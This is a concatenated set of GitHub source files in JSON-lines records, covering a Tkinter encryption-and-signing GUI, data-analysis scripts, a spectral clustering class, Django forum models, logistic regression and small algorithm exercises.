logic.change_color(code_entry, 'red')\n return\n\n try:\n crypto.decrypt_file(session_key, encrypted_path, decrypted_path)\n except ValueError:\n keys_box.set('Bad key!')\n return\n\n logic.replace_object_data(file_entry, decrypted_path)\n with open(decrypted_path, 'rb') as file:\n logic.replace_object_data(file_text, file.read())\n\n signature_label['text'] = ''\n check_buttons_state()\n\n\ndef sign():\n window.focus()\n common_path = file_entry.get()\n if common_path == '':\n logic.change_color(file_entry, 'red', 'readonlybackground')\n return\n from_name, to_name, _, code = get_options()\n\n private_key_path = logic.get_private_key_path(from_name)\n try:\n private_key = rsa.get_private_key(code, private_key_path)\n except ValueError:\n logic.change_color(code_entry, 'red')\n return\n\n signature_path = logic.get_signature_path(common_path, from_name)\n crypto.sign_file(private_key, common_path, signature_path)\n signature_label['text'] = 'Файл подписан'\n logic.change_color(signature_label, 'black', 'fg')\n check_buttons_state()\n\n\ndef verify():\n decrypted_path = file_entry.get()\n if decrypted_path == '':\n logic.change_color(file_entry, 'red', 'readonlybackground')\n return\n\n from_name, to_name, _, code = get_options()\n public_key_path = logic.get_public_key_path(to_name)\n public_key = rsa.get_public_key(public_key_path)\n\n signature_path = logic.get_signature_path(decrypted_path, to_name)\n result = crypto.verify_sign(public_key, decrypted_path, signature_path)\n\n text = 'Подпись верна' if result else 'Подпись ложна'\n color = 'lightgreen' if result else 'red'\n signature_label['text'] = text\n logic.change_color(signature_label, color, 'fg')\n check_buttons_state()\n\n\ndef draw_all():\n window.title('Гибридная криптосистема')\n window.geometry('1250x700+10+10')\n window.resizable(width=False, height=False)\n logic.check_and_create_dirs()\n\n # Области\n session_frame.place(anchor='nw', relwidth=1, relx=0, relheight=0.2, rely=0)\n cypher_frame.place(anchor='nw', relwidth=1, relx=0, relheight=0.8, rely=0.2)\n\n # Настройка сессии\n from_label.place(anchor='n', relx=0.25, relwidth=0.4, rely=0.04, relheight=0.2)\n from_box.place(anchor='n', relx=0.25, relwidth=0.4, rely=0.25, relheight=0.2)\n name_delete_button.place(anchor='nw', relx=0.474, relwidth=0.02, rely=0.25, relheight=0.2)\n name_add_button.place(anchor='nw', relx=0.452, relwidth=0.02, rely=0.25, relheight=0.2)\n to_label.place(anchor='n', relx=0.75, relwidth=0.4, rely=0.04, relheight=0.2)\n to_box.place(anchor='n', relx=0.75, relwidth=0.4, rely=0.25, relheight=0.2)\n code_label.place(anchor='n', relx=0.25, relwidth=0.4, rely=0.47, relheight=0.2)\n code_entry.place(anchor='n', relx=0.25, relwidth=0.4, rely=0.68, relheight=0.2)\n keys_label.place(anchor='n', relx=0.75, relwidth=0.4, rely=0.47, relheight=0.2)\n keys_box.place(anchor='n', relx=0.75, relwidth=0.4, rely=0.68, relheight=0.2)\n key_delete_button.place(anchor='nw', relx=0.974, relwidth=0.02, rely=0.68, relheight=0.2)\n key_add_button.place(anchor='nw', relx=0.952, relwidth=0.02, rely=0.68, relheight=0.2)\n # События\n from_box.bind('<>', lambda _: update_state())\n to_box.bind('<>', lambda _: update_state())\n keys_box.bind('<>', lambda _: window.focus())\n keys_box.bind('', lambda _: logic.change_color(keys_box, 'black', 'foreground'))\n name_delete_button['command'] = delete_name_button_clicked\n name_add_button['command'] = lambda: dialog.show_add_name_dialog(window, FONT, validate_name, add_name)\n key_delete_button['command'] = delete_key_button_clicked\n key_add_button['command'] = lambda: dialog.show_add_key_dialog(window, FONT, validate_key_name,\n generate_session_key)\n code_entry.bind('', lambda _: logic.change_color(code_entry, 'white'))\n\n # Шифрование/Расшифрование\n file_label.place(anchor='n', relx=0.5, relwidth=0.5, rely=0.02, relheight=0.05)\n file_entry.place(anchor='n', relx=0.5, relwidth=0.8, rely=0.07, relheight=0.05)\n file_add_button.place(anchor='nw', relx=0.905, relwidth=0.02, rely=0.07, relheight=0.05)\n file_text.place(anchor='n', relx=0.5, relwidth=0.98, rely=0.13, relheight=0.72)\n encrypt_button.place(anchor='nw', relx=0.01, relwidth=0.15, rely=0.88, relheight=0.1)\n decrypt_button.place(anchor='nw', relx=0.17, relwidth=0.15, rely=0.88, relheight=0.1)\n sign_button.place(anchor='nw', relx=0.33, relwidth=0.15, rely=0.88, relheight=0.1)\n verify_button.place(anchor='nw', relx=0.49, relwidth=0.15, rely=0.88, relheight=0.1)\n signature_label.place(anchor='nw', relx=0.65, relwidth=0.34, rely=0.88, relheight=0.1)\n file_add_button.bind('', lambda _: add_file_button_click())\n encrypt_button['command'] = encrypt\n decrypt_button['command'] = decrypt\n sign_button['command'] = sign\n verify_button['command'] = verify\n\n logic.load_name_box(from_box, from_box_values, 'from')\n logic.load_name_box(to_box, to_box_values, 'to')\n logic.load_keys_box(keys_box, keys_box_values,\n from_box.get(), to_box.get())\n check_buttons_state()\n","repo_name":"Neroec/crypto","sub_path":"03/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":14838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19900183221","text":"\"\"\"Prototype for preparing heatmap data\"\"\"\nimport pandas as pd\n\n# Let's be frank, a lot of this is lazy, copy and paste coding\n# but it works\ndf = pd.read_csv(\n r\"C:\\Users\\stda9924\\Uni\\CU\\Knight_Rotation\\CSV_Files\\Results\\Quiz_1345.csv\"\n)\ndf = df.apply(pd.to_numeric, errors=\"coerce\")\n\nc_df = pd.DataFrame(\n columns=[\n \"Quiz 1 - 3 Grade Change\",\n \"Quiz 1 - 3 Confidence Change\",\n \"Quiz 3 - 4 Grade Change\",\n \"Quiz 3 - 4 Confidence Change\",\n \"Quiz 4 - 5 Grade Change\",\n \"Quiz 4 - 5 Confidence Change\",\n ]\n)\n\n\nfor count in range(df.shape[0]):\n row = df.iloc[count]\n q1_g = row[\"Quiz 1 numerical letter grade - Quiz1\"]\n q3_g = row[\"Quiz 3 numerical letter grade - Quiz3\"]\n q4_g = row[\"Quiz 4 numerical letter grade - Quiz4\"]\n q5_g = row[\"Quiz 5 numerical letter grade - Quiz5\"]\n\n c1_g = row[\"Post Minus Pre - Quiz1\"]\n c3_g = row[\"Post Minus Pre - Quiz3\"]\n c4_g = row[\"Post Minus Pre - Quiz4\"]\n c5_g = row[\"Post Minus Pre - Quiz5\"]\n\n q13c = q3_g - q1_g\n q34c = q4_g - q3_g\n q45c = q5_g - q4_g\n\n c13c = abs(c3_g) - abs(c1_g)\n c34c = abs(c4_g) - abs(c3_g)\n c45c = abs(c5_g) - abs(c4_g)\n\n c_df = c_df.append(\n {\n \"Quiz 1 - 3 Grade Change\": q13c,\n \"Quiz 1 - 3 Confidence Change\": c13c,\n \"Quiz 3 - 4 Grade Change\": q34c,\n \"Quiz 3 - 4 Confidence Change\": c34c,\n \"Quiz 4 - 5 Grade Change\": q45c,\n \"Quiz 4 - 5 Confidence Change\": c45c,\n },\n ignore_index=True,\n )\n\nprint(c_df.head(20))\nc_df.to_csv(r\"heatmap_raw.csv\", index=False)\n","repo_name":"stefan-dalecki/FacultyAssistance","sub_path":"DrKnight/post_pre_grade.py","file_name":"post_pre_grade.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70023404695","text":"\"\"\" .\n\"\"\"\nimport os\nimport sys\nfrom copy import copy\n\nimport numpy as np\nfrom scipy import stats\n\nfrom pyrate.core.Algorithm import Algorithm\n\nfrom pyrate.utils import strings as ST\nfrom pyrate.utils import functions as FN\n\nimport ROOT as R\n\n\nclass Make1DGraph(Algorithm):\n __slots__ = ()\n\n def __init__(self, name, store, logger):\n super().__init__(name, store, logger)\n\n def initialise(self, config):\n \"\"\"Creates data structures.\"\"\"\n\n i_name = self.store.get(\"INPUT:name\", \"TRAN\")\n for region, var_type in config[\"algorithm\"][\"regions\"].items():\n for v_type, variable in var_type.items():\n for v_name, v_attr in variable.items():\n\n a_name = self.get_array_name(region, v_name)\n g_name = self.get_graph_name(a_name)\n\n obj_a_name = self.get_object_name(i_name, a_name)\n obj_g_name = self.get_object_name(i_name, g_name)\n\n g_attr = ST.get_items(v_attr)\n\n n_bins, x_low, x_high, y_low, y_high = (\n int(g_attr[0]),\n float(g_attr[1]),\n float(g_attr[2]),\n float(g_attr[3]),\n float(g_attr[4]),\n )\n\n # ----------------------\n # prepare data structure\n # ----------------------\n a = {}\n\n a[\"y_entries\"] = [[] for i in range(n_bins + 1)]\n a[\"x_axis\"] = np.linspace(x_low, x_high, num=n_bins + 1)\n\n # ----------------------\n # prepare graph\n # ----------------------\n g = self.prepare_graph(obj_g_name, g_attr)\n\n self.store.put(obj_a_name, a, \"PERM\")\n self.store.put(obj_g_name, g, \"PERM\")\n\n def execute(self, config):\n \"\"\"Fills data structures.\"\"\"\n\n i_name = self.store.get(\"INPUT:name\")\n\n for region, var_type in config[\"algorithm\"][\"regions\"].items():\n for v_type, variable in var_type.items():\n for v_name, v_attr in variable.items():\n\n a_name = self.get_array_name(region, v_name)\n\n obj_a_name = self.get_object_name(i_name, a_name)\n\n obj_counter = \":\".join([obj_a_name, \"counter\"])\n\n if not self.store.check(obj_counter):\n\n weight = self.store.get(region)\n\n if weight:\n\n x_name, y_name = v_name.replace(\" \", \"\").split(\",\")\n\n x_var = self.store.get(x_name)\n y_var = self.store.get(y_name)\n\n # modify data structure event-by-event\n a = self.store.get(obj_a_name, \"PERM\")\n\n bin_idx = np.digitize(x_var, a[\"x_axis\"])\n\n # print(f\"{x_var} within {a['x_axis'][bin_idx-1]} and {a['x_axis'][bin_idx]}\")\n\n a[\"y_entries\"][bin_idx - 1].append(y_var)\n\n self.store.put(obj_counter, \"done\")\n\n def finalise(self, config):\n \"\"\"Makes the plot.\"\"\"\n\n if \"gather\" in config[\"algorithm\"]:\n gather = config[\"algorithm\"][\"gather\"]\n else:\n gather = False\n\n p_collection = {}\n\n inputs = ST.get_items(config[\"name\"].split(\":\", -1)[-1])\n\n for r_name, var_type in config[\"algorithm\"][\"regions\"].items():\n\n for v_type, variable in var_type.items():\n for v_name, v_attr in variable.items():\n\n for i_name in inputs:\n\n path, p_name = (\n f\"{config['name']}\",\n f\"plot_{i_name}_{r_name}_{v_name}\",\n )\n\n path = path.replace(\":\", \"_\").replace(\",\", \"_\")\n\n if gather == \"inputs\":\n path += f\"/regions/{r_name}/{v_type}\"\n p_name = f\"plot_{r_name}_{v_name}\"\n\n elif gather == \"variables\":\n path += f\"/inputs/{i_name}/regions/{r_name}/{v_type}\"\n p_name = f\"plot_{i_name}_{r_name}_{v_type}\"\n\n elif gather == \"regions\":\n path += f\"/inputs/{i_name}/{v_type}\"\n p_name = f\"plot_{i_name}_{v_name}\"\n\n p_entry = os.path.join(path, p_name)\n\n if not p_entry in p_collection:\n p_collection[p_entry] = {\n \"canvas\": R.TCanvas(p_name, \"\", 900, 800),\n \"graphs\": [],\n }\n\n a_name = self.get_array_name(r_name, v_name)\n obj_a_name = self.get_object_name(i_name, a_name)\n\n g_name = self.get_graph_name(a_name)\n obj_g_name = self.get_object_name(i_name, g_name)\n\n a = self.store.get(obj_a_name, \"PERM\")\n g = self.store.get(obj_g_name, \"PERM\")\n\n self.fill_graph(g, a)\n\n gather_in_inputs = r_name in p_name and v_name in p_name\n gather_in_variables = (\n i_name in p_name and r_name in p_name and v_type in p_name\n )\n gather_in_regions = i_name in p_name and v_name in p_name\n\n if gather_in_inputs or gather_in_variables or gather_in_regions:\n p_collection[p_entry][\"graphs\"].append(g)\n\n plots = {}\n for p_entry, p_dict in p_collection.items():\n\n p_dict[\"canvas\"].cd()\n\n p_dict[\"canvas\"].SetTickx()\n p_dict[\"canvas\"].SetTicky()\n\n p_dict[\"canvas\"].SetGridx()\n p_dict[\"canvas\"].SetGridy()\n\n \"\"\"\n if not \"makeoverlay\" in config[\"algorithm\"]:\n\n p_name = p_dict[\"canvas\"].GetName()\n\n h_stack = copy(R.THStack(p_name, p_name))\n\n for h in p_dict[\"graphs\"]:\n h_stack.Add(h)\n h_stack.Draw()\n\n #else:\n \"\"\"\n\n for idx, g in enumerate(p_dict[\"graphs\"]):\n\n if idx == 0:\n g.Draw(\"aC*4\")\n else:\n g.Draw(\"4C*p,same\")\n\n p_dict[\"canvas\"].BuildLegend(0.1, 0.8, 0.9, 0.9)\n\n plots[p_entry] = p_dict[\"canvas\"].Clone()\n\n p_dict[\"canvas\"].Close()\n\n self.store.put(config[\"name\"], plots, \"PERM\")\n\n def prepare_graph(self, g_name, g_attributes):\n\n g = copy(R.TGraphErrors(R.Int_t(g_attributes[0])))\n\n g.SetName(g_name)\n g.SetTitle(\"\")\n\n x_title = g_name + \"_x\"\n y_title = g_name + \"_y\"\n\n g.SetLineWidth(3)\n\n if \"color\" in self.store.get(\"INPUT:config\") or len(g_attributes) < 6:\n g.SetLineColor(\n self.get_ROOT_colors(self.store.get(\"INPUT:config\")[\"color\"])\n )\n g.SetFillColor(\n self.get_ROOT_colors(self.store.get(\"INPUT:config\")[\"color\"])\n )\n\n elif len(g_attributes) >= 6:\n g.SetLineColor(self.get_ROOT_colors(g_attributes[5]))\n g.SetFillColor(self.get_ROOT_colors(g_attributes[5]))\n\n if \"linestyle\" in self.store.get(\"INPUT:config\"):\n g.SetLineStyle(self.store.get(\"INPUT:config\")[\"linestyle\"])\n\n if \"fillstyle\" in self.store.get(\"INPUT:config\"):\n g.SetFillStyle(self.store.get(\"INPUT:config\")[\"fillstyle\"])\n\n if len(g_attributes) >= 8:\n x_title = g_attributes[6]\n y_title = g_attributes[7]\n\n g.GetXaxis().SetLimits(float(g_attributes[1]), float(g_attributes[2]))\n g.GetYaxis().SetLimits(float(g_attributes[3]), float(g_attributes[4]))\n\n g.GetXaxis().SetTitle(x_title)\n g.GetYaxis().SetTitle(y_title)\n\n return g\n\n def fill_graph(self, graph, array):\n\n n_points = len(array[\"x_axis\"]) - 1\n\n # graph.SetPointX(0, graph.GetXaxis().GetXmin())\n # graph.SetPointY(0, graph.GetYaxis().GetXmin())\n # graph.SetPointError(0, 0, 0)\n\n for i in range(n_points):\n\n x_low, x_high = array[\"x_axis\"][i : i + 2]\n\n x_value = np.mean([x_low, x_high])\n x_err = (x_high - x_low) / 2.0\n\n if array[\"y_entries\"][i]:\n y = np.array(array[\"y_entries\"][i])\n\n y_value = np.mean(y)\n y_err = np.std(y)\n\n else:\n y_value = 0.0\n y_err = 0.0\n\n graph.SetPointX(i, x_value)\n graph.SetPointY(i, y_value)\n graph.SetPointError(i, x_err, y_err)\n\n # graph.SetPointX(n_points + 1, graph.GetXaxis().GetXmax())\n # graph.SetPointY(n_points + 1, graph.GetYaxis().GetXmax())\n # graph.SetPointError(n_points, 0, 0)\n\n def get_graph_name(self, array_name):\n \"\"\"Builds histogram name.\"\"\"\n return array_name.replace(\"array\", \"graph\")\n\n def get_array_name(self, region, variables):\n \"\"\"Builds histogram name.\"\"\"\n variables = variables.replace(\",\", \"_vs_\").replace(\" \", \"\")\n return f\"array_{region}_{variables}\"\n\n def get_object_name(self, iname, histogram):\n \"\"\"Builds object name, which is how histograms are identified on the PERM store.\"\"\"\n return f\"{iname}:{histogram}\"\n\n def get_ROOT_colors(self, my_color):\n\n ROOT_color_name = \"kBlack\"\n ROOT_color_mod = \"\"\n color = 1\n\n if \"+\" in my_color:\n ROOT_color_name, ROOT_color_mod = my_color.split(\"+\")\n color = getattr(R, ROOT_color_name) + R.Int_t(ROOT_color_mod)\n\n elif \"-\" in my_color:\n ROOT_color_name, ROOT_color_mod = my_color.split(\"-\")\n color = getattr(R, ROOT_color_name) - R.Int_t(ROOT_color_mod)\n else:\n color = getattr(R, my_color)\n\n return int(color)\n\n\n# EOF\n","repo_name":"fscutti/pyrate","sub_path":"pyrate/algorithms/muondet/Make1DGraph.py","file_name":"Make1DGraph.py","file_ext":"py","file_size_in_byte":10236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2271902986","text":"import numpy as np\nimport networkx as nx\nimport itertools as it\nimport scipy\n\n\nclass SpectralClustering:\n\n def __init__(self,\n X,\n W=None,\n mapping='lap',\n kernel='rbf',\n gamma=None,\n edge_thresh=None,\n diffusion_time=None):\n \"\"\" initialise spectral clustering\n\n Args:\n X (np.array): 2d numpy array (samples x features)\n W (np.array, optional): [2d numpy array of weight matrix].\n Defaults to None.\n mapping (str, optional): [possible mapping from\n ['lap', 'gen_lap', 'norm_lap', 'commute', 'diffuse',\n 'cum_diffuse']]. Defaults to 'lap'.\n kernel (str, optional): [kernel to use from possible\n in ['rbf']]. Defaults to 'rbf'.\n gamma ([float], optional): [constant value to use\n in rbf kernel]. Defaults to None.\n edge_thresh ([float], optional): [threshold value, define\n edge between two nodes for euclid distances less than\n this value ]. Defaults to None.\n diffusion_time ([int], optional): [diffusion time for\n diffusion mapping]. Defaults to None.\n \"\"\"\n self._check_input(mapping, diffusion_time)\n self.X = X\n self.mapping = mapping\n self.kernel = kernel\n self.gamma = gamma\n self.edge_thresh = edge_thresh\n self.diffusion_time = diffusion_time\n try:\n W.shape\n self.W = W\n except AttributeError:\n self.W = self._construct_weight_matrix()\n self.A = self._get_adjacency()\n self.graph = self._create_graph()\n self.edges = self._get_edges()\n self.D = self._get_degree_matrix()\n self.L = self._get_laplacian(norm=(self.mapping == 'norm_lap'))\n\n def _check_input(self, mapping, diffusion_time):\n \"\"\"check input of constructor\n\n Args:\n mapping (str): possible mapping value\n diffusion_time (int): diffusion time value if mapping is diffuse\n \"\"\"\n assert mapping in ['lap', 'gen_lap', 'norm_lap',\n 'commute', 'diffuse', 'cum_diffuse'], \\\n 'Please enter a valid mapping argument.'\n if mapping == 'diffuse':\n assert type(diffusion_time) == int, \\\n 'Diffusion time must be entered and be an integer.'\n assert diffusion_time > 0, 'Diffusion time must be positive.'\n\n def _symmetrise(self, arr):\n \"\"\" Return a symmetrised version of numpy array, arr.\n\n Values 0 are replaced by the array value at the symmetric\n position (with respect to the diagonal), i.e. if a_ij = 0,\n then the returned array a' is such that a'_ij = a_ji.\n\n Diagonal values are left untouched.\n\n a -- square NumPy array, such that a_ij = 0 or a_ji = 0,\n for i != j.\n\n Args:\n a (np.array): 2d numpy array to make symmetric\n\n Returns:\n np.array: symmetric 2d numpy array\n \"\"\"\n return arr + arr.T - np.diag(arr.diagonal())\n\n def _find_pairs(self):\n \"\"\" construct list of all pairs of samples \"\"\"\n return list(it.combinations(range(0, self.X.shape[0]), 2))\n\n def _construct_weight_matrix(self):\n \"\"\" construct weight matrix from data points using kernel\n\n Returns:\n np.array: weight matrix for graph\n \"\"\"\n\n self.pairs = self._find_pairs()\n\n # compute empty weight matrix\n total_samples = self.X.shape[0]\n W = np.zeros(shape=(total_samples, total_samples))\n ds = []\n for pair in self.pairs:\n id_A = pair[0]\n id_B = pair[1]\n sample_A = self.X[id_A, :]\n sample_B = self.X[id_B, :]\n d = np.linalg.norm(sample_A-sample_B)\n ds.append(d)\n if self.kernel == 'rbf':\n W[id_A][id_B] = self._rbf_kernel(d)\n W = self._symmetrise(W)\n return W\n\n def _rbf_kernel(self, d):\n \"\"\" compute radial basis function for distance\n\n Args:\n d (float): euclidean distance between two points\n\n Returns:\n float: radial basis weighted distance\n \"\"\"\n if self.gamma is None:\n self.gamma = 1 / self.X.shape[1]\n\n if self.edge_thresh is None:\n return np.exp(-1 * self.gamma * d**2)\n\n if d < self.edge_thresh:\n return np.exp(-1 * self.gamma * d**2)\n return 0.0\n\n def _get_adjacency(self):\n \"\"\" find the adjacency matrix for graph\n\n Returns:\n np.array: graph adjacency matrix\n \"\"\"\n return self.W > 0\n\n def _create_graph(self):\n \"\"\" create networkx graph object\n\n Returns:\n nx.Graph: networkx graph object from weight matrix\n \"\"\"\n # create the weighted graph using networkX\n return nx.from_numpy_matrix(self.W)\n\n def _get_edges(self):\n \"\"\" edges of graph\n\n Returns:\n nx.EdgeView: graph edges\n \"\"\"\n return self.graph.edges()\n\n def _get_degree_matrix(self):\n \"\"\" compute node degree matrix\n\n Returns:\n np.array: degree matrix\n \"\"\"\n degree_list = [val for (node, val) in self.graph.degree()]\n return np.identity(len(degree_list)) * degree_list\n\n def _get_laplacian(self, norm=False):\n \"\"\" compute graph Laplacian\n\n Args:\n norm (bool, optional): whether to use standard or\n normalised graph Laplacian matrix. Defaults to False.\n\n Returns:\n np.array: graph Laplacian matrix\n \"\"\"\n if norm:\n return nx.linalg.laplacianmatrix.\\\n normalized_laplacian_matrix(self.graph).toarray()\n return self.D - self.W\n\n def _setup_eig_equation(self):\n \"\"\" setup the right hand side of eigenvalue equation for mapping method\n\n Returns:\n np.array: matrix to be used on the right hand side of equation\n \"\"\"\n if self.mapping in ['lap', 'norm_lap', 'commute']:\n eig_right = None\n else:\n eig_right = self.D\n return eig_right\n\n def _scale_eigvectors(self, w, v):\n \"\"\" scale eigenvectors for mapping method\n\n Args:\n w (np.array): 1D array of eigenvalues\n v (np.array): ND array of eigenvectors\n\n Returns:\n np.array: ND array of scaled eigenvectors\n \"\"\"\n if self.mapping == 'commute':\n return (v / np.sqrt(w)).real\n elif self.mapping == 'diffuse':\n return (v * (1-w)**self.diffusion_time).real\n elif self.mapping == 'cum_diffuse':\n return (v / w).real\n return v\n\n def eig_decompose(self):\n \"\"\" compute eigenvalues and eigenvectors of graph Laplacian\n\n Returns:\n tuple of np.array: (eigenvectors, eigenvalues)\n \"\"\"\n # get the rhs of the eigenvalue equation for mapping method\n eig_rhs = self._setup_eig_equation()\n\n # compute eigenvalues and eigenvectors, w and v, respectively\n w, v = scipy.linalg.eig(a=self.L, b=eig_rhs)\n\n # the first eigenvalue is a maximally smooth constant\n # can omit first of both\n w = w[1:]\n v = v[:, 1:]\n\n # scale the eigenvectors for mapping method\n v_scaled = self._scale_eigvectors(w, v)\n return w, v_scaled\n","repo_name":"jenkins-alex/Graph-Signal-Processing-Toolbox","sub_path":"manifolds/spectral_clustering.py","file_name":"spectral_clustering.py","file_ext":"py","file_size_in_byte":7545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12059761273","text":"from __future__ import unicode_literals\n\nfrom django.db import models\nfrom django.utils.timezone import now\nfrom django.template.defaultfilters import slugify\nfrom django.core import urlresolvers\n\n\nclass Thread(models.Model):\n bumped = models.DateTimeField(default=now)\n title = models.CharField(max_length=100)\n\n def get_absolute_url(self):\n return urlresolvers.reverse(\n \"thread\",\n kwargs={\n \"thread_id\": self.pk,\n \"thread_slug\": slugify(self.title)\n }\n )\n\n def last_posts(self):\n \"show some posts always excluding the first one\"\n first_post = self.first_post()\n posts = list(self.post_set.order_by(\"-created\")[:4])\n if first_post in posts:\n posts.remove(first_post)\n else:\n posts.pop()\n posts.reverse()\n return posts\n\n def all_last_posts(self):\n \"show all posts except for the first one\"\n first_post = self.first_post()\n posts = list(self.post_set.all())\n posts.pop(0)\n return posts\n\n def first_post(self):\n \"get the first post\"\n return self.post_set.earliest()\n\n def num_posts(self):\n ret = getattr(self, '_num_posts', None)\n if ret is None:\n self._num_posts = self.post_set.count()\n return self._num_posts\n\n def num_images(self):\n ret = getattr(self, '_num_images', None)\n if ret is None:\n self._num_images = self.post_set.exclude(image=\"\").count()\n return self._num_images\n\n class Meta:\n ordering = (\"-bumped\",)\n\ndef post_image_name(instance, filename):\n return \"res/%d/%s\" % (instance.thread.pk, filename)\n\nclass Post(models.Model):\n thread = models.ForeignKey(Thread)\n created = models.DateTimeField(default=now)\n text = models.TextField(blank=True)\n image = models.ImageField(upload_to=post_image_name, blank=True)\n\n def get_absolute_url(self):\n return urlresolvers.reverse(\n \"thread\",\n kwargs={\n \"thread_id\": self.thread.pk,\n \"thread_slug\": slugify(self.thread.title)\n }\n ) + \"#c\" + unicode(self.pk)\n\n class Meta:\n ordering = (\"created\",)\n get_latest_by = \"created\"\n","repo_name":"hylje/channelsdemo","sub_path":"channelsdemo/main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"73923111572","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 26 12:13:01 2017\n\n@author: sebastian\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# The given logistic function\n# Input: w weight vector [dx1]\n# Input: x data point of pixel xi [dx1]\ndef logistic_function(w, x):\n # TODO implement the logistic function\n L = 1.0 / (1 + np.exp(- w.transpose()* x))\n #assert(L.shape[0]<2)\n return L\n\n# Calculates the hessian matrix which is the second derivative of the cost\n# function J with respect to w [dx1]\n# Input: w weigth vector [dx1]\n# Input data_x: data for Newtons method [[x1],[x2],[x3]...,[xn]], [nxd] xi[\n# n,1]\n# Output: H Hessian Matrix [nxn]\ndef hessian_matrix(w, data_x, normalizer = False):\n H = np.zeros((data_x.shape[1], data_x.shape[1]))\n\n for x_i in range(data_x.shape[0]):\n # Make sure data has correct shape\n x = np.reshape(data_x[x_i,:],(data_x.shape[1],1))\n L = logistic_function(w,x)\n H += L[0,0]*(1-L[0,0]) * x*x.T\n\n if normalizer is True:\n H = H/data_x[0]\n\n # Check matrix dimension\n #assert(H.shape[0] |= data_x.shape[0])\n #assert (H.shape[1] not data_x.shape[0])\n return H\n\ndef gradiant_J(w,data_x,y, normalizer):\n\n J = np.zeros((data_x.shape[1], 1))\n for x_i in range(w.shape[0]):\n x = np.matrix(data_x[x_i, :].reshape((data_x.shape[1], 1)))\n J += x * (logistic_function(w,x) - y[x_i])\n if normalizer is True:\n J = J/data_x.shape[0] # 1/n n:data points\n else:\n pass\n\n return np.matrix(J)\n\ndef logistic_gradient_descent(w,x,y, iterations, normalizer = False):\n\n # Do the gradient descent iter times with newtons method\n for iter in range(iterations):\n H = hessian_matrix(w, x, normalizer)\n H_inv = np.linalg.pinv(H)\n delta_J = gradiant_J(w, x, y, normalizer)\n w = w - H_inv*delta_J\n\n return w\n\n# To make it easier the 24x24 pixels have been reshaped to a vector of 576 pixels. the value corrsponds to the greyscale intensity of the pixel\ninput_data = np.loadtxt(\"XtrainIMG.txt\",delimiter=\" \")# This is an array that has the features (all 576 pixel intensities) in the columns and all the available pictures in the rows\noutput_data = np.loadtxt(\"Ytrain.txt\",delimiter=\" \") # This is a vector that has the classification (1 for open eye 0 for closed eye) in the rows\n\n\nn_samples = input_data.shape[0]\nn_features = input_data.shape[1]\n\n\nratio_train_validate = 0.8\nidx_switch = int(n_samples * ratio_train_validate)\ntraining_input = np.matrix(input_data[:idx_switch, :])\ntraining_output = np.matrix(output_data[:idx_switch][:,None])\nvalidation_input = np.matrix(input_data[idx_switch:, :] )\nvalidation_output = np.matrix( output_data[idx_switch:][:,None] )\n\n# Initialize weight vector with random elements\nw = np.matrix(np.random.rand(training_input.shape[1],1))\n\n\n#TODO implement the iterative calculation of w\nw = logistic_gradient_descent(w,training_input,training_output, 10, True)\n\n#TODO2: modify the algorithm to account for regularization as well to improve the classifier\n\n#validation\nh = logistic_function(w,validation_input.T)\noutput = np.round(h).transpose()\n\nerror = np.abs(output-validation_output).sum()\n\nprint('wrong classification of ',(error/output.shape[0]*100),'% of the cases in the validation set')\n\n\n# classify test data for evaluation\ntest_input = np.loadtxt(\"XtestIMG.txt\",delimiter=\" \")\nh = logistic_function(w,test_input.T)\ntest_output = np.round(h)\nnp.savetxt('results.txt', test_output)\n","repo_name":"fabioruetz/ai_for_robotics","sub_path":"2_0_regression_pgm/logistic_regression/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12990017071","text":"\"\"\"\n 4.5字符串\n\"\"\"\n# @Time : 2020/10/27 11:02\n# @Author : Libuda\n# @FileName: demo_05_old.py\n# @Software: PyCharm\n\n\n# 1. python中字符串为常量,每次执行 + 操作都需要申请内存,重新创建一个新字符串,性能很差。\n# 2. %占位符格式化字符串,来自于C语言,在有多个占位符填充时可读性很差。\n\nSTR_2 = \"{} from {}\".format(\"Hello World\", \"Python\")\n","repo_name":"budaLi/jianzi","sub_path":"python代码规范demo讲解/4.5字符串/demo_05_standard.py","file_name":"demo_05_standard.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70700473814","text":"from Node import Node\nfrom typing import List, Set\n\n\ndef falling_leaves(root: Node) -> List[List[Node]]:\n \n leaves: Set[Node] = set()\n\n def get_leaves(node: Node) -> None:\n if node is None:\n return\n left = True\n right = True\n\n if node.left is None:\n left = False\n else:\n node.left.parent = node\n get_leaves(node.left)\n\n if node.right is None:\n right = False\n else:\n node.left.parent = node\n get_leaves(node.right)\n\n if not (left or right):\n leaves.add(node)\n \n get_leaves(root)\n\n result = []\n\n while leaves:\n new_leaves: Set[Node] = set()\n\n for leaf in leaves:\n new_leaves.add(leaf.parent)\n\n result.append(list(leaves))\n leaves = set()\n\n for leaf in new_leaves:\n if leaf is not None:\n leaves.add(leaf)\n\n return result\n\n\nroot = Node(1, \n Node(2, \n Node(4, \n Node(8)), \n Node(5, \n Node(9))), \n Node(3, \n Node(6, Node(10)), \n Node(7)))\n\n\nleaves = falling_leaves(root)\nleaves.reverse()\n\nfor level in leaves:\n print()\n for leaf in level:\n print(leaf.val, end=\" \")\n\n","repo_name":"jakubZiel/LeetCodeAlgorithms","sub_path":"trees/falling_leaves.py","file_name":"falling_leaves.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34110667672","text":"import numpy as np\nimport cv2\n\ndef filtroRGB(src,r,g,b):\n\tif r == 